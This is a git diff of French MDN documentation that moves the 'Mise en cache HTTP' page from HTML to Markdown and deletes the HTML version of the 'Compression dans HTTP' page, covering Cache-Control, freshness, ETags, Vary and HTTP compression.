diff --git a/files/fr/web/http/caching/index.html b/files/fr/web/http/caching/index.html deleted file mode 100644 index adcab8ef8d..0000000000 --- a/files/fr/web/http/caching/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Mise en cache HTTP -slug: Web/HTTP/Caching -tags: - - Guide - - HTTP - - Le cache -translation_of: Web/HTTP/Caching -original_slug: Web/HTTP/Cache ---- -
{{HTTPSidebar}}
- -

Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.

- -

Différents types de caches

- -

La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.

- -

Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un cache privé est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.

- -

Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.

- -

Caches de navigateur privés

- -

Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via HTTP par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.

- -

Caches de proxy partagés

- -

Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.

- -

Cibles des opérations de  cache

- -

La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :

- - - -

Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} ci-dessous.

- -

Contrôle de la mise en cache

- -

L'en-tête Cache-control

- -

Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.

- -

Pas du tout de cache mémoire

- -

Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.

- -
Cache-Control: no-store
-Cache-Control: no-cache, no-store, must-revalidate
-
- -

Pas de cache

- -

Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.

- -
Cache-Control: no-cache
- -

Caches privées et publiques

- -

La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.

- -
Cache-Control: private
-Cache-Control: public
-
- -

Expiration

- -

La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.

- -

Pour plus de détails, voir aussi la section Freshness ci-dessous..

- -
Cache-Control: max-age=31536000
- -

Validation

- -

Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section Validation ci-dessous.

- -
Cache-Control: must-revalidate
- -

L'en-têtePragma

- -

{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.

- -

Fraîcheur (Freshness)

- -

Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("cache eviction"). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (stale). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.

- -

Ici un exemple de ce processus avec un cache de proxy partagé :

- -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

- -

Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "Cache-control: max-age=N" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce Expires existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête Date moins la valeur de l'en-tête Last-modified divisée par 10.

- -

Le temps d'expiration s'organise comme ceci :

- -
expirationTime = responseTime + freshnessLifetime - currentAge
-
- -

Où responseTime est le moment auquel a été reçue la réponse selon le navigateur.

- -

Ressources revues et corrigées

- -

Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.

- -

Les développeurs Web ont inventé une technique que Steve Sounders a appelée revving (source). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.

- -

Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.

- -

How the revved cache mechanism works.

- -

La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.

- -

Validation de cache

- -

La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "Cache-control: must-revalidate". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans Advanced->Cache . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.

- -

Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort (strong validator) soit un faible (weak validator).

- -

ETags

- -

L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "opaque-to-the-user agent"  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête ETag est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.

- -

L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  Last-Modified est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.

- -

Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} OK, ou bien retourner un statut {{HTTPStatus(304)}} Not Modified (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.

- -

Varier les réponses

- -

L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.

- -

Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  Vary il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête Vary ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.

- -

The Vary header leads cache to use more HTTP headers as key for the cache.

- -

Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  Vary: User-Agent, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (Cloaking) n'est à craindre.

- -
Vary: User-Agent
- -

Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.

- -

Voir aussi

- - diff --git a/files/fr/web/http/caching/index.md b/files/fr/web/http/caching/index.md new file mode 100644 index 0000000000..adcab8ef8d --- /dev/null +++ b/files/fr/web/http/caching/index.md @@ -0,0 +1,155 @@ +--- +title: Mise en cache HTTP +slug: Web/HTTP/Caching +tags: + - Guide + - HTTP + - Le cache +translation_of: Web/HTTP/Caching +original_slug: Web/HTTP/Cache +--- +
{{HTTPSidebar}}
+ +

Les performances des sites et applications web peuvent être significativement améliorées en réutilisant les ressources déjà collectées précédemment. Les caches web réduisent la latence et le trafic du réseau, et ainsi diminuent le temps nécessaire à l'affichage de la représentation d'une ressource. En utilisant la mise en cache HTTP, les sites web deviennent plus réactifs.

+ +

Différents types de caches

+ +

La mise en cache est une technique qui stocke une copie d’une ressource donnée et la renvoie quand elle est demandée. Quand un cache web a une ressource demandée dans son espace de stockage, il intercepte la requête et renvoie sa copie au lieu de la re-télécharger depuis le serveur d’origine. Cela a plusieurs avantages : le cache réduit la charge du serveur qui n’a pas besoin de servir tous les clients lui-même, et il améliore la performance en étant plus proche du client, par exemple, cela prend moins de temps pour transmettre à nouveau la ressource. Pour un site web, c’est un composant majeur pour atteindre de hautes performances. Cependant, il doit être configuré correctement, car toutes les ressources ne restent pas éternellement inchangées : il est important de mettre une ressource en cache seulement jusqu’à ce qu’elle change, pas plus longtemps.

+ +

Il y a différents types de caches, qui peuvent être groupés en deux principales catégories : les caches privés et les caches partagés. Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Un cache privé est dédié à un seul utilisateur. Cette page aborde principalement les caches de navigateur et de proxy, mais il existe aussi des caches de passerelle, de CDN, les caches de proxy inversés et les répartiteurs de charge qui sont déployés sur les serveurs web pour une meilleure fiabilité, une meilleure performance et une meilleure évolutivité des sites et applications web.

+ +

Ce que permet un cache, avantages et inconvénients des caches privés ou partagés.

+ +

Caches de navigateur privés

+ +

Un cache privé est dédié à un seul utilisateur. Il se peut que vous ayez déjà vu les termes « mise en cache » dans les paramètres de votre navigateur. Un cache de navigateur contient tous les documents téléchargés via HTTP par l’utilisateur. Ce cache est utilisé pour rendre les documents visités disponibles à la navigation via les boutons précédent / suivant, la sauvegarde, l’affichage du code source, etc. sans nécessiter un aller-retour au serveur supplémentaire. De la même manière, il améliore la navigation hors-ligne de contenu en cache.

+ +

Caches de proxy partagés

+ +

Un cache partagé est un cache qui stocke les réponses pour qu’elles soient réutilisées par plus d’un utilisateur. Par exemple, un fournisseur d’accès à Internet ou votre entreprise peut avoir mis en place un proxy web au sein de son infrastructure de réseau local pour servir des utilisateurs multiples, de sorte que les ressources populaires sont réutilisées plusieurs fois, réduisant le trafic réseau et la latence.

+ +

Cibles des opérations de  cache

+ +

La mise en cache HTTP est optionnelle, mais réutiliser une ressource en cache est généralement souhaitable. Cependant, les caches HTTP communs se limitent typiquement à mettre en cache les réponses à des requêtes {{HTTPMethod("GET")}} et peuvent décliner les autres méthodes. La clé de cache primaire consiste en la méthode de requête et l’URI ciblée (souvent, seule l’URI est utilisée, car seules des requêtes GET sont ciblées par la mise en cache). Voici des formes courantes d’entrées de cache :

+ + + +

Une entrée de cache peut aussi consister en de multiples réponses stockées différenciées par une clé secondaire, si la requête fait l’objet de négociation de contenu. Pour plus de détails, voir les informations à propos de l’en-tête {{HTTPHeader("Vary")}} ci-dessous.

+ +

Contrôle de la mise en cache

+ +

L'en-tête Cache-control

+ +

Le {{HTTPHeader("Cache-Control")}} HTTP/1.1 Le champ d'en-tête général est utilisé pour spécifier les directives pour les mécanismes de cache dans les requêtes et les réponses. Utilisez cet en-tête pour définir vos stratégies de mise en cache avec la variété de directives fournies.

+ +

Pas du tout de cache mémoire

+ +

Le cache ne doit rien stocker concernant la demande du client ou la réponse du serveur. Une demande est envoyée au serveur et une réponse complète est téléchargée à chaque fois.

+ +
Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Pas de cache

+ +

Un cache enverra la demande au serveur d'origine pour validation avant de publier une copie en cache.

+ +
Cache-Control: no-cache
+ +

Caches privées et publiques

+ +

La directive "public" indique que la réponse peut être mise en cache par n'importe quel cache. Cela peut être utile si les pages avec une authentification HTTP ou des codes d’état de réponse qui ne sont pas normalement mis en cache doivent maintenant être mis en cache. En revanche, "privé" indique que la réponse est destinée à un seul utilisateur et ne doit pas être stockée par un cache partagé. Un cache de navigateur privé peut stocker la réponse dans ce cas.

+ +
Cache-Control: private
+Cache-Control: public
+
+ +

Expiration

+ +

La directive la plus importante ici est "max-age = <secondes>", qui correspond au temps maximum pendant lequel une ressource est considérée comme nouvelle. Contrairement à {{HTTPHeader ("Expires")}}, cette directive est relative à l'heure de la demande. Pour les fichiers de l'application qui ne changeront pas, vous pouvez généralement ajouter une mise en cache agressive. Cela inclut les fichiers statiques tels que les images, les fichiers CSS et les fichiers JavaScript, par exemple.

+ +

Pour plus de détails, voir aussi la section Freshness ci-dessous..

+ +
Cache-Control: max-age=31536000
+ +

Validation

+ +

Lors de l'utilisation de la directive "must-revalidate", le cache doit vérifier l'état des ressources obsolètes avant de l'utiliser, et celles qui ont expiré ne doivent pas être utilisées. Pour plus de détails, voir la section Validation ci-dessous.

+ +
Cache-Control: must-revalidate
+ +

L'en-têtePragma

+ +

{{HTTPHeader ("Pragma")}} est un en-tête HTTP / 1.0. Il n'est pas spécifié pour les réponses HTTP et ne constitue donc pas un remplacement fiable pour l'en-tête général HTTP / 1.1 Cache-Control, bien qu'il se comporte de la même manière que Cache-Control: no-cache, si le champ d'en-tête Cache-Control est omis dans une requête. Utilisez Pragma uniquement pour une compatibilité ascendante avec les clients HTTP / 1.0.

+ +

Fraîcheur (Freshness)

+ +

Une fois que la ressource est mise en mémoire dans le cache, elle pourrait théoriquement être servie éternellement par le cache. Les caches ont une capacité de stockage limitée donc les objets en sont périodiquement enlevés. Ce procédé est appelé éviction de cache ("cache eviction"). Certaines ressources peuvent changer sur le serveur et le cache doit donc être mis à jour.   Comme HTTP est un protocole serveur-client, les serveurs peuvent informer les caches et les clients quand une ressource est modifiée, ils doivent communiquer un temps d'expiration de la ressource. Avant cette expiration, la ressource est considérée "fraîche" (fresh => freshness);  Aprés son expiration, elle est considérée périmée (stale). Les algoritmes d'éviction privilégient souvent les ressources fraîches.  Notez qu'une ressource "périmée" n'est ni éjectée ni ignorée; quand le cache reçoit une requête pour une ressource périmée, il transmet cette requête avec un  {{HTTPHeader("If-None-Match")}} pour vérifier si elle est quand même fraîche. Si c'est le cas, le serveur retourne en en-tête un statut {{HTTPStatus("304")}} (Not Modified) sans renvoyer le corps de la ressource demandée, épargnant ainsi un peu de bande passante.

+ +

Ici un exemple de ce processus avec un cache de proxy partagé :

+ +

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

+ +

Le calcul de la durée de vie de la fraîcheur est basé sur plusieurs en-têtes. Si une en-tête "Cache-control: max-age=N" est spécifiée, alors la durée de vie est égale à N. Si cette en-tête est absente (ce qui est souvent le cas),  on vérifie si une en-tête {{HTTPHeader("Expires")}} est présente. Si ce Expires existe, alors sa valeur moins la valeur de l'en-tête {{HTTPHeader("Date")}} détermine la durée de vie de la fraîcheur. Finalement, si aucune en-tête n'est présente, on en cherche une {{HTTPHeader("Last-Modified")}} et si elle est présente, alors la durée de vie de la fraîcheur du cache est égale à la valeur de l'en-tête Date moins la valeur de l'en-tête Last-modified divisée par 10.

+ +

Le temps d'expiration s'organise comme ceci :

+ +
expirationTime = responseTime + freshnessLifetime - currentAge
+
+ +

Où responseTime est le moment auquel a été reçue la réponse selon le navigateur.

+ +

Ressources revues et corrigées

+ +

Plus nous utilisons les ressources en cache, mieux se porteront la "responsivité" et les performances d'un site Web.  Pour optimiser ceci, les bonnes pratiques recommandent de fixer les temps d'expiration aussi loin que possible dans le futur.  C'est possible avec des ressources mises à jour régulièrement ou trés souvent mais ça devient problématique pour les ressources mises à jour trés rarement.  Ce sont les ressources qui bénéficieraient au mieux de la mise en cache mais cela les rend difficiles à mettre à jour. C'est typique des ressources techniques incluses ou liées depuis chaque page web :  les fichiers JavaScript et CSS ne changent pas fréquemment mais quand ils changent, vous voulez qu'ils soient mis à jour au plus vite.

+ +

Les développeurs Web ont inventé une technique que Steve Sounders a appelée revving (source). Les fichiers rarement mis à jour sont nommés d'une maniére spécifique : dans leur URL, habituellement dans le nom de fichier, est ajouté un numéro de révision (ou version). Comme ceci, chaque nouvelle révision / version de la ressource est considérée comme une ressource elle-même, qui ne change jamais et qui peut avoir un temps d'expiration trés éloigné dans le futur. En général un an ou plus. Dans le but d'avoir les nouvelles versions, tous les liens doivent être changés. C'est l'inconvénient de cette méthode : une complexité additionnelle habituellement prise en charge par la chaîne d'outils de développeurs Web.  Quand les ressources qui ne sont pas mises à jour fréquemment changent, elles induisent un changement supplémentaire aux ressources régulièrement rafraîchies. Quand elles sont lues, les nouvelles versions des autres sont lues aussi.

+ +

Cette technique a un avantage de plus : mettre à jour deux ressources en cache en même temps ne fera pas qu'une version périmée d'une des ressources sera utilisée avec la nouvelle version de l'autre. C'est trés important quand les sites ont des feuilles de style CSS ou des scripts JS qui ont des dépendances mutuelles c'est-à-dire qui dépendent l'un de l'autre parce qu'ils se réfèrent aux mêmes éléments HTML.

+ +

How the revved cache mechanism works.

+ +

La version de révision ajoutée à la ressource révisée n'a pas à être sous une forme classique de chaîne de version comme  1.1.3, ou une suite monotone de chiffres. Cela peut être n'importe quoi qui prévienne une collision : un hash ou une date.

+ +

Validation de cache

+ +

La revalidation est ciblée quand l'utilisateur clique le bouton de rechargement (actualisation). Elle est aussi ciblée pendant une navigation normale si la réponse en cache inclus l'en-tête  "Cache-control: must-revalidate". Un autre facteur est la préférence des validations de cache, paramétrées dans le panneau des préférences dans Advanced->Cache . Il y a une option pour forcer la validation chaque fois qu'un document est chargé.

+ +

Quand on arrive au moment d'expiration d'un document en cache, il est soit validé soit redemandé. La validation ne peut intervenir que si le serveur a fourni soit un validateur fort (strong validator) soit un faible (weak validator).

+ +

ETags

+ +

L'en-tête réponse {{HTTPHeader("ETag")}} est une valeur "opaque-to-the-user agent"  qui peut être utilisée comme un validateur fort. Cela signifie que l'agent-utilisateur HTTP, comme un navigateur, par exemple, ne sait pas ce que cette chaîne  représente et ne peut prévoir quelle pourrait être sa valeur. Si l'en-tête ETag est une partie de la réponse pour une ressource, le client peut délivrer un  {{HTTPHeader("If-None-Match")}} dans l'en-tête des futures requêtes, dans le but de valider les ressources en cache.

+ +

L'en-tête de réponse {{HTTPHeader("Last-Modified")}} peut être utilisée comme un validateur faible. Il est dit "faible" car il a une précision à la seconde prés. Si l'en-tête  Last-Modified est présente dans une réponse, alors le client peut délivrer une en-tête de requête {{HTTPHeader("If-Modified-Since")}} pour valider le document en cache.

+ +

Quand une requête en validation est faite, le serveur peut : soit ignorer la requête en validation et répondre avec un normal  {{HTTPStatus(200)}} OK, ou bien retourner un statut {{HTTPStatus(304)}} Not Modified (avec un corps de réponse vide)  pour informer le navigateur d'utiliser sa copie en cache. La dernière réponse peut aussi contenir les en-têtes qui mettent à jour le temps d'expiration du document en cache.

+ +

Varier les réponses

+ +

L'en-tête de réponse HTTP {{HTTPHeader("Vary")}} détermine comment répondre aux futures en-têtes de requêtes  et décider s'il faut utiliser une réponse en cache plutôt qu'en demander une fraîche au serveur d'origine.

+ +

Quand un cache reçoit une requête qui peut être satisfaite par une réponse en cache qui a un champ d'en-tête  Vary il ne devra pas utiliser cette réponse à moins que tous les champs d'en-tête cités dans l'en-tête Vary ne soient communs aux deux : la requête originale (en cache) et la nouvelle requête.

+ +

The Vary header leads cache to use more HTTP headers as key for the cache.

+ +

Cela peut être trés utile pour servir du contenu dynamique par exemple. Quand on se sert de l'en-tête  Vary: User-Agent, les serveurs de cache devront considérer l'agent utilisateur pour décider de servir la page du cache. Si vous servez du contenu varié aux utilisateurs de mobiles, cela vous aidera à éviter qu'un cache puisse servir, par erreur, une version "Desktop" de votre site. En plus, cela aidera Google et d'autres moteurs de recherche  à découvrir la version mobile d'une page et peut aussi les avertir qu'aucun "masquage" (Cloaking) n'est à craindre.

+ +
Vary: User-Agent
+ +

Parce que la valeur d'en-tête  {{HTTPHeader("User-Agent")}} est différente  ("varie") pour les clients mobiles ou Bureau, les caches ne seront pas utilisés pour servir du contenu mobile à un utilisateur "Desktop" et vice-versa.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/compression/index.html b/files/fr/web/http/compression/index.html deleted file mode 100644 index 49b4794212..0000000000 --- a/files/fr/web/http/compression/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Compression dans HTTP -slug: Web/HTTP/Compression -tags: - - Guide - - HTTP - - compression -translation_of: Web/HTTP/Compression ---- -
{{HTTPSidebar}}
- -

La compression est une méthode importante pour accroitre les performances d'un site web. Pour certaines pages, la réduction de la taille des éléments économise jusqu'à 70 % de la bande passante. Les algorithmes de compression s'améliorent d'années en années, les nouveaux algorithmes étant supportés à la fois par les serveurs et les clients.

- -

En réalité, les développeurs web n'ont pas besoin d'implémenter des mécanismes de compression puisqu'ils sont déjà intégrés à la fois aux navigateurs et dans les serveurs. Il convient néanmoins de s'assurer de la configuration correcte du serveur web. La compression s'effectue à trois niveaux différents :

- - - -

Fichiers au format compressé

- -

Chaque type de donnée possède des redondances intrinsèques, ce qui signifie que l'utilisation de l'espace n'est pas optimisée. Ainsi dans les fichiers texte, l'espace ainsi perdu peut représenter environ 60 %, pour les fichiers multimédias, la redondance peut s'avérer beaucoup plus élevée. Étant donné que la contrainte de taille élevée est apparue dès le début pour ces types de fichiers, les ingénieurs ont conçu des algorithmes spécifiques à chaque format. Les algorithmes de compression utilisés pour les fichiers peuvent être groupés en deux catégories :

- - - -

Certains formats peuvent être utilisés à la fois pour une compression sans perte ou avec pertes tel que webp. L'algorithme de compression peut être configuré pour une compression plus ou moins élevée, ce qui influe sur le niveau de qualité en sortie. Afin d'optimiser les performances, il convient de compresser au maximum tout en conservant un niveau de qualité acceptable. Pour les images, selon le logiciel qui a permis sa création, il se peut que l'image ne soit pas compressée suffisamment pour le Web. Il est recommandé d'utiliser des logiciels permettant la compression au maximum. Il existe de nombreux outils spécialisés pour cet usage.

- -

Les algorithmes de compression avec pertes sont généralement plus performants que les algorithmes de compression sans perte.

- -
-

Note : Puisque certains types de fichiers gèrent nativement la compression, il est souvent inutile de les compresser une seconde fois. En réalité, cela s'avère souvent contre-productif de par la taille induite par les données additionnelles nécessaires (lors de la compression, un dictionnaire de données est généré) le fichier en sortie est alors plus gros que celui avant compression. Veillez à ne pas utiliser les techniques suivantes pour les fichiers au format compressé.

-
- -

Compression de bout en bout

- -

La compression de bout en bout constitue la compression permettant le plus de gain de performances pour le Web. La compression de bout en bout est définie par la compression du corps du message qui est effectuée par le serveur et ne sera modifié qu'une fois arrivé à destination par le client. Les étapes lors du transport laissent la charge utile inchangée.

- -

Séquence du serveur au client mettant en œuvre la compression de bout en bout

- -

L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : gzip, le plus utilisé et br le nouveau venu.

- -

Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur la négociation du contenu. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.

- -

Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés

- -

La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.

- -

Apache prend en charge la compression et utilise mod_deflate; nginx dispose de ngx_http_gzip_module; pour IIS, il existe l'élément <httpCompression>.

- -

Compression saut par saut

- -

La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression différent.

- -

Compression saut par saut entre le serveur et le client

- -

HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.

- -

Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut

- -

En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.

- -

Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.
